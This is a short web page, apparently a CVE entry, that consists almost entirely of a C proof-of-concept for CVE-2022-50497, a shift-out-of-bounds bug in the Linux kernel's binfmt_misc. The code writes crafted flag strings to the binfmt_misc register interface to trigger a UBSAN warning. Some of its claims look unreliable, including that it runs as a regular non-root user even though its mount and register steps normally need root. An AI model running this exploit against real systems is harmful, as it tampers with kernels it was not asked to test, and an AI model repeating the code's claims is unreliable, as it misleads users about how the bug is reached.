CVE-2022-50497 Linux内核binfmt_misc移位越界漏洞

/* CVE-2022-50497 PoC - Trigger shift-out-of-bounds in binfmt_misc check_special_flags */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> /* * This PoC triggers the shift-out-of-bounds vulnerability in * Linux kernel's binfmt_misc module by writing to * /proc/sys/fs/binfmt_misc/register with flags that cause * a left shift of 1 by 31 places in check_special_flags(). * * Usage: Run as a regular (non-root) user. * The kernel must have binfmt_misc mounted. */ int main(int argc, char *argv[]) { int fd; char buf[512]; int ret; /* Mount binfmt_misc if not already mounted */ ret = system("mount | grep -q binfmt_misc || mount -t binfmt_misc none /proc/sys/fs/binfmt_misc 2>/dev/null"); /* * Format: :name:type:offset:mask:interpreter:flags * We craft a registration entry with special flags that will * trigger the shift-out-of-bounds in check_special_flags(). * * The flags field includes bits that cause the kernel to perform * a left shift of 1 by 31 places on an int type. */ snprintf(buf, sizeof(buf), ":testpoc:M::\\x7f\\x45\\x4c\\x46::::%s%s%s\n", "F", /* fix-binary flag */ "C", /* credentials flag - triggers shift */ "O"); /* open-binary flag - triggers shift */ /* Open the register interface */ fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY); if (fd < 0) { perror("[-] Failed to open binfmt_misc register interface"); fprintf(stderr, " Make sure binfmt_misc is mounted and accessible\n"); return 1; } printf("[*] Writing to binfmt_misc register to trigger CVE-2022-50497...\n"); /* Write the crafted entry to trigger the vulnerability */ ret = write(fd, buf, strlen(buf)); if (ret < 0) { perror("[-] Write failed"); close(fd); return 1; } printf("[+] Write completed. Check kernel log (dmesg) for UBSAN warnings.\n"); printf("[+] Look for: 'left shift of 1 by 31 places cannot be represented in type int'\n"); close(fd); /* Clean up - unregister the test entry */ fd = open("/proc/sys/fs/binfmt_misc/testpoc", O_WRONLY); if (fd >= 0) { write(fd, "-1", 2); close(fd); } return 0; }